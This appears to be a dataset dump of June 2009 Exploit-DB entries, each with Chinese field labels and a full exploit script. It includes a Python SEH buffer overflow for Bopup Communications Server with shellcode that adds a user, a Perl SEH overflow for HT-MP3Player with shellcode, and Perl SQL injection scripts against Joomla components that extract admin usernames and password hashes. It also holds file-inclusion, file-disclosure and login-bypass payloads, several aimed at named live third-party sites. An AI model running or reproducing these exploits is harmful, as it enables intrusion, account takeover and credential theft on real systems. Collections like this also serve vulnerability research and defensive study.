QLWD/code_shield huggingface dataset:
标题: Bopup Communications Server 3.2.26.5460 - Remote Buffer Overflow (SEH) EDB-ID: 9031 CVE: 2009-2227 类型: REMOTE 平台: WINDOWS 发布日期: 2009-06-29 漏洞利用脚本: #!/usr/bin/python
#[*] Usage : python bopup.py [target_ip]
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     : Bopup Communications Server (3.2.26.5460) Remote BOF Exploit (SEH)
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Refer : mu-b
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ)


import socket,sys,struct
from time import *

host = sys.argv[1]

def banner():
        print "\n[x] Bopup Communications Server Remote BOF Exploit (SEH)\n"
        print "[x] By: His0k4\n"
 
if len(sys.argv)!=2:
        banner()
        print "Usage: %s <ip>" %sys.argv[0]
        sys.exit(0)

# win32_adduser -  PASS=27 EXITFUNC=seh USER=dz Size=228 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x44\x7A\x32\x37\x44\x7A\x32\x37\x29\xc9\x83\xe9\xcd\xd9\xee\xd9"
"\x74\x24\xf4\x5b\x81\x73\x13\x05\x16\xf2\x06\x83\xeb\xfc\xe2\xf4"
"\xf9\xfe\xb6\x06\x05\x16\x79\x43\x39\x9d\x8e\x03\x7d\x17\x1d\x8d"
"\x4a\x0e\x79\x59\x25\x17\x19\x4f\x8e\x22\x79\x07\xeb\x27\x32\x9f"
"\xa9\x92\x32\x72\x02\xd7\x38\x0b\x04\xd4\x19\xf2\x3e\x42\xd6\x02"
"\x70\xf3\x79\x59\x21\x17\x19\x60\x8e\x1a\xb9\x8d\x5a\x0a\xf3\xed"
"\x8e\x0a\x79\x07\xee\x9f\xae\x22\x01\xd5\xc3\xc6\x61\x9d\xb2\x36"
"\x80\xd6\x8a\x0a\x8e\x56\xfe\x8d\x75\x0a\x5f\x8d\x6d\x1e\x19\x0f"
"\x8e\x96\x42\x06\x05\x16\x79\x6e\x39\x49\xc3\xf0\x65\x40\x7b\xfe"
"\x86\xd6\x89\x56\x6d\xe6\x78\x02\x5a\x7e\x6a\xf8\x8f\x18\xa5\xf9"
"\xe2\x75\x9f\x62\x2b\x73\x8a\x63\x25\x39\x91\x26\x6b\x73\x86\x26"
"\x70\x65\x97\x74\x25\x72\x88\x26\x37\x21\xd2\x29\x44\x52\xb6\x26"
"\x23\x30\xd2\x68\x60\x62\xd2\x6a\x6a\x75\x93\x6a\x62\x64\x9d\x73"
"\x75\x36\xb3\x62\x68\x7f\x9c\x6f\x76\x62\x80\x67\x71\x79\x80\x75"
"\x25\x72\x88\x26\x2a\x57\xb6\x42\x05\x16\xf2\x06")


payload = '\x01\x00\x00\x00'
payload += '\x41'*(821-len(shellcode))
payload += shellcode
payload += '\x42'*27 #padding
payload += '\xE8\xFC\xFE\xFF\xFF' #Call back
payload += '\x43'*8 #padding, escaping from the \x00 monster :p
payload += '\xEB\xF1\xFF\xFF' #short jump
payload += '\xE0\x14\x40\x00' #p/p/r bcssrvc (universal)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
 s.connect((host,19810))
except:
 print "Can\'t connect to server!\n"
 sys.exit(0)

s.send(payload+'\r\n')
print("[+] Done!")
s.close()

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9031
标题: SCMPX 1.5.1 - '.m3u' Local Heap Overflow (PoC) EDB-ID: 9033 CVE: 2009-2403 类型: DOS 平台: WINDOWS 发布日期: 2009-06-29 漏洞利用脚本: #!/usr/bin/perl
#
#
# ###############################################################################
# SCMPX 1.5.1 (.m3u File) Local Heap Overflow PoC
# ###############################################################################

# Found By :: HACK4LOVE

## Olly registers
#EAX 00A71FF8
#ECX 41414141 _____>>control over the register
#EDX 41414141
#EBX 00000180
#ESP 0012E758
#EBP 0012E778
#ESI 00000008
#EDI 00000017
#EIP 00465B25 SCMPX.00465B25
##################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.M3U');
print myfile $crash;
##################################################################################

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9033
标题: HT-MP3Player 1.0 - '.ht3' Local Buffer Overflow (SEH) EDB-ID: 9034 CVE: 2009-2485 类型: LOCAL 平台: WINDOWS 发布日期: 2009-06-29 漏洞利用脚本: #!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# HT-MP3Player 1.0 (.ht3 File) Local buffer Overflow (seh)
# # Greetz to all my friends
# form egypt
## easy :d
## Tested on: Windows XP Pro SP2 (EN)
##########################################################
my $bof="\x41" x 4108;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xbe\x2e\xd1\x72";
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
############################################################
open(myfile,'>>hack4love.ht3');
print myfile $bof.$nsh.$seh.$nop.$sec;
############################################################

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9034
标题: PHP-Sugar 0.80 - 'index.php?t' Local File Inclusion EDB-ID: 9036 CVE: 2009-2398 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-29 漏洞利用脚本: =-=-local file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-
script: PHP-Sugar 0.80
-----------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://php-sugar.net/files/?mod=files

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 
if (isset($_GET['t']))
 $file = $_GET['t'];
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
xpl:
/path/test/index.php?t=..//..//..//..//..//boot.ini%00
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9036
标题: Clicknet CMS 2.1 - 'side' Arbitrary File Disclosure EDB-ID: 9037 CVE: 2009-2325 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-29 漏洞利用脚本: #################################################################################################################
[+] Clicknet CMS v2.1(side) File Disclosure Vulnerability
[+] Discovered By ThE g0bL!N
[+] Vendor:http://cms.clicknet.dk
[+} Download:http://cms.clicknet.dk/download/index.php?test=2
[+] Dork:"Powered by Clicknet CMS"
[+] Note: All Site Danemark So Fuck It please :)
[+] Greets : R3d-D3v!L
#################################################################################################################
Exploit:
-------
Exploit
---
http://127.0.0.1/index.php?side=../index [ out of .php ]
Then View Source To Get A good View
Demo
----
http://www.t68.clicknet.dk/index.php?side=../index
################################################################################################################

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9037
标题: Joomla! Component com_K2 -q 1.0.1b - 'category' SQL Injection EDB-ID: 9030 CVE: 2009-2395 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-29 漏洞利用脚本: ----------------------------------------------------------------------
Joomla Component com_k2 (sectionid) SQL injection Vulnerability
----------------------------------------------------------------------

 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Group         :  LatinHackTeam
 [+] Vulnerability :  SQL injection
 ###################################################

  
 Information from file: mod_k2.xml

 Name         : K2 Module
 Author       : JoomlaWorks
 CreationDate : April 6th, 2009
 Copyright    : Copyright (c) 2006-2009 JoomlaWorks Ltd. All rights reserved.
 AuthorEmail  : contact@joomlaworks.gr
 AuthorUrl    : www.joomlaworks.gr
 Version      : 1.0.1 Beta 
 License      : http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 
 Dowloand     : http://code.google.com/p/joomlaworks/downloads/detail?name=K2-1.0.1beta2_j15_UNZIP_FIRST.zip
 
--------------------------------------------------------------------


Example:

http://localHost/path//index.php?option=com_k2&view=itemlist&category=<sql Code>

<Sql Code>:
null'+and+1=2+union+select+1,concat(username,0x3a,password)ChipD3Bi0s,3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users/*
 

Demo Live (1):
http://ajedrezmarketing.com/index.php?option=com_k2&view=itemlist&category=null'+and+1=2+union+select+1,concat(username,0x3a,password)ChipD3Bi0s,3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users/*



+++++++++++++++++++++++++++++++++
[!] Produced in South America
---------------------------------

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9030
标题: Joomla! Component com_bookflip - 'book_id' SQL Injection EDB-ID: 9040 CVE: 2009-2390 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-29 漏洞利用脚本: #!/usr/bin/perl -w

#Joomla com_bookflip(book_id) Sql injection#
########################################
#[~] Author : boom3rang
#[~] Greetz : H!tm@N - KHG - cHs - LiTTLE-HaCkEr - SpywarrioR - cRu3l.b0y - Lanti-Net - urtan
#---------------------------------------
#[!] <name>BookFlip</name>
#[!] <creationDate>Juin 2008</creationDate>
#[!] <author>FCI F-Cimag-In</author>
#[!] <copyright>Ce composant est distribuÃ© gratuitement.</copyright>
#[!] <authorEmail>postmaster@f-cimag-in.com</authorEmail>
#[!] <authorUrl>www.f-cimag-in.com</authorUrl>
#[!] <version>2.1</version>
#---------------------------------------
#[!] Google_Dork: inurl:"com_bookflip"
########################################

system("color FF0000");
print "\t ###############################################################\n\n";
print "\t #           Kosova Hackers Group (KHG-CREW)                   #\n\n";
print "\t ###############################################################\n\n";
print "\t # - Joomla com_bookflip(book_id)Remote SQL Injection Vuln     #\n\n";
print "\t # - R.I.P redc00de                                            #\n\n";
print "\t # - Cod3d by boom3rang                                        #\n\n";
print "\t ###############################################################\n\n";
use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
#Column Name
$c_n="concat(username,0x3a,password)";
#Table_name
$t_n="jos_users";
$U="-9999+UNION+SELECT+";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=com_bookflip&book_id=".$U."1,".$c_n.",3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from/**/".$t_n."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Veprimi mbaroi me sukses(Congratulations)! #\n\n";
}
else{print "\n[-] Veprimi Deshtoi (Not Found)...\n";
}

########################
# - Proud 2 be Albanian
# - Proud 2 be Muslim
########################

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9040
标题: ForumPal FE 1.1 - Authentication Bypass EDB-ID: 9024 CVE: 2009-2366 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-26 漏洞利用脚本: --------------------------------------------------------------
ForumPal v1.5( Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------------
Founder :ThE g0bL!N
Home:http://www.datachecknh.com
Software :ForumPal v1.5
Note: Je m'appel Tecktonik
---------------------------------------------------------------
Exploit1:
-------
Username: [Real_name_admin]
Password:' or '1=1
----------------------------------------------------------------
Dem0
----
http://www.datachecknh.com/forumpal_FE_Demo/login.asp
EXPLOIT fOR DEMO
Username: admin
Password:' or '1=1
--------------------------------------
His0k4  - Dr-HTmL And Dos-Dz TeaM aND Snakes TeaM And Ev!L-C0d3r.
-----------------------------------------------------------------

# milw0rm.com [2009-06-26] URL: https://www.exploit-db.com/exploits/9024
标题: VideoLAN VLC Media Player 0.9.9 - 'smb://' URI Stack Buffer Overflow (PoC) EDB-ID: 9029 CVE: 2009-2484 类型: DOS 平台: WINDOWS 发布日期: 2009-06-29 漏洞利用脚本: #!/usr/bin/ruby

# VideoLAN VLC Media Player 0.9.9 smb:// URI Stack-based Buffer Overflow (Proof-of-Concept)
#
# Bugtraq ID: 35500
#
# The vulnerability can also be triggered via the VLC web interface (disabled by default):
# http://[vulnerable_ip]:8080/requests/status.xml?command=in_play&input=smb://............
#
# Patch:
# http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e60a9038b13b5eb805a76755efc5c6d5e080180f
#
# Tested on Windows XP SP3 (fully patched), VLC player version 0.9.9 (latest).
#
# Trancer
# http://www.rec-sec.com

foo = "A" * 58
bar = "B" * 4
baz = "C" * 1000

b00m = foo + bar + baz

xspf = %Q|<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
 <title>Playlist</title>
 <trackList>
  <track>
   <location>smb://foo.com@www.foo.com/foo/#{b00m}</location>
   <extension application="http://www.videolan.org/vlc/playlist/0">
    <vlc:id>0</vlc:id>
   </extension>
  </track>
 </trackList>
</playlist>
|

playlist = File.new("vlc_smb.xspf","wb")
playlist.write(xspf)
playlist.close

# milw0rm.com [2009-06-29] URL: https://www.exploit-db.com/exploits/9029
标题: MD-Pro 1.083.x - Survey Module 'pollID' Blind SQL Injection EDB-ID: 9021 CVE: 2009-2618 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-25 漏洞利用脚本: [!]Information_schema:

[Product:  MDPro v 1.083.x               ]
[site:     www.maxdev.com                ]
[Vuln:     Blind $QL Injection (pollID)  ]
[Author:   XaDoS ~ thanks to S3rg3770    ]
[dork:     inurl:modules.php?op= "pollID"]
[          "Powered By MDPro"            ]

[~] Vuln:  (PollID)

http://www.site.com/[MDPro_path]/modules.php?name=Surveys&op=results&pollID=[SQL]
or
http://www.site.com/[MDPro_path]/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=[SQL]

[~] DeMo:

For example, if yuo want see the version of MySql write:

http://www.site.com/[MDPro_path]/modules.php?name=Surveys&op=results&pollID=+and+substring(@@version,1,1)=5#

Like:

http://www.xxx.it/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=73+and+substring(@@version,1,1)=5# [work]
so v => 5.0.0    (this site have 96 databases) :)

[~] Note:

If yuo want exploit for this vuln write it by yuorself. I'm really Busy.

thanks to s3rg3770 and warwolfz Crew


\*Everything that gives pleasure has its reason. To scorn the mobs of those who go astray is not the means to bring them around*/ C.Baudelaire

Have Fun :D

# milw0rm.com [2009-06-25] URL: https://www.exploit-db.com/exploits/9021
标题: LightOpenCMS 0.1 - 'smarty.php?cwd' Local File Inclusion EDB-ID: 9015 CVE: 2009-2223 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-24 漏洞利用脚本: LightOpenCMS 0.1 (smarty.php cwd) Local File Inclusion Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://sourceforge.net/project/showfiles.php?group_id=251474

[smarty.php]
 define("SMARTY_DIR", $cwd."/smarty/");
 require_once(SMARTY_DIR."/Smarty.class.php");

PoC:
 [php.ini] register_globals= On
 http://localhost/locms/smarty.php?cwd=../../../../../../../../../../../../boot.ini%00

Greetz: YEnH4ckEr, str0ke and spanish hackers!

# milw0rm.com [2009-06-24] URL: https://www.exploit-db.com/exploits/9015
标题: Joomla! Component com_pinboard - 'task' SQL Injection EDB-ID: 9017 CVE: 2009-2607 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-25 漏洞利用脚本: #!/usr/bin/perl -w
# Joomla Component (com_pinboard) Remote SQL Injection
########################################
#[*] By : Stack
#POc
#http://site/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,username,8,9,10%20from%20jos_users--
#http://site/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,password,8,9,10%20from%20jos_users--
#Demo
#http://munimartin.at/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,username,8,9,10%20from%20jos_users--
#http://munimartin.at/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48%20union%20select%201,2,3,4,5,6,password,8,9,10%20from%20jos_users--
########################################
system("color 02");
print "\t\t############################################################\n\n";
print "\t\t#       Joomla Component (com_pinboard) Remote SQL Injection    #\n\n";
print "\t\t#                             by Stack                        #\n\n";
print "\t\t############################################################\n\n";
use LWP::UserAgent;
die "Example: perl $0 http://victim.com/path/\n" unless @ARGV;
system("color f");
$user="username";
$pass="password";
$tab="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "/index.php?option=com_pinboard&Itemid=35&action=showpic&task=-48+union+select+1,2,3,4,5,6,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),8,9,10+from+".$tab."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /<user>(.*?)<user>/){
        print "\nBrought to you by v4-team.com...\n";
        print "\n[+] Admin User : $1";
}
if ($answer =~/<pass>(.*?)<pass>/){print "\n[+] Admin Hash : $1\n\n";
print "\t\t#   Exploit has ben aported user and password hash   #\n\n";}
else{print "\n[-] Exploit Failed...\n";}

# milw0rm.com [2009-06-25] URL: https://www.exploit-db.com/exploits/9017
标题: MyFusion 6b - settings[locale] Local File Inclusion EDB-ID: 9018 CVE: 2009-2611 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-25 漏洞利用脚本: ????????????????????????????????????????????????????????????????????????????????????
??                                C r a C k E r                                   ??
??             T H E   C R A C K   O F   E T E R N A L   M I G H T                ??
????????????????????????????????????????????????????????????????????????????????????

 ?????         From The Ashes and Dust Rises An Unimaginable crack....         ?????
????????????????????????????????????????????????????????????????????????????????????
??                             [ Local File Include ]                             ??
????????????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                   : :                                       :
?   Script   : MyFusion 6 Beta           ? ?          Register Globals :           ?
?   Download : sourceforge.net           ? ?                                       ?
?   Method   : GET                       ? ?           [?] ON   [ ] OFF            ?
?   Critical : High [????????]           ? ?                                       ?
?   Impact   : system information        ? ?                                       ?
? ???????????????????????????????????????? ??????????????????????????????????????? ?
?                                 DALnet #crackers                                ??
????????????????????????????????????????????????????????????????????????????????????
:                                                                                  :
?  Release Notes:                                                                  ?
?  ?????????????                                                                   ?
?  Typically used for remotely exploitable vulnerabilities that can lead to        ?
?  system compromise.                                                              ?
?                                                                                  ?

????????????????????????????????????????????????????????????????????????????????????
??                                Exploit URL's                                   ??
????????????????????????????????????????????????????????????????????????????????????


[LFI]

http://localhost/path/infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=[LFI]


  
????????????????????????????????????????????????????????????????????????????????????
 
Greets:
       rd0, The_PitBull, Raz0r, iNs, Sad, His0k4, Hussin X, Mr. SQL .

????????????????????????????????????????????????????????????????????????????????????
??                                 © CraCkEr 2009                                 ??
????????????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2009-06-25] URL: https://www.exploit-db.com/exploits/9018
标题: Joomla! Component com_amocourse - 'catid' SQL Injection EDB-ID: 9016 CVE: 2009-2609 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-24 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Joomla Component com_amocourse (catid) SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


###################################################
[+] Author        :  Chip D3 Bi0s
[+] Email         :  chipdebios[alt+64]gmail.com
[+] Greetz        :  d4n1ux + x_jeshua + eCORE + rayok3nt
[+] Vulnerability :  SQL injection 

###################################################



Example:
http://localHost/path//index.php?option=com_amocourse&task=view&view=category&catid=n[SQL code]

n = catid valid

[SQL code]
+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12+from+jos_users--


Demo Live (1)
http://www.kaieden.com/joomla/index.php?option=com_amocourse&task=view&view=category&catid=29+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12+from+jos_users--


Demo Live Mambo (2)
http://www.tangotherapy.co.uk/index.php?option=com_amocourse&task=view&view=category&catid=29+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12+from+jos_users--






+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-06-24] URL: https://www.exploit-db.com/exploits/9016
标题: Mega File Manager 1.0 - 'index.php' Local File Inclusion EDB-ID: 9025 CVE: 2009-2263 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-26 漏洞利用脚本: #################################################################################################################
[+] Mega File Manager 1.0 (index.php page) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
#################################################################################################################

[+] Homepage : http://www.awesomephp.com/?MegaFileManager

[+] Note : The script is full of SQL Injection vulns,but I am tired to
make querys now.

[+] Local File Inclusion

    http://127.0.0.1/[path]/index.php?page=../../../../../../BOOTSECT.BAK%00

#################################################################################################################

# milw0rm.com [2009-06-26] URL: https://www.exploit-db.com/exploits/9025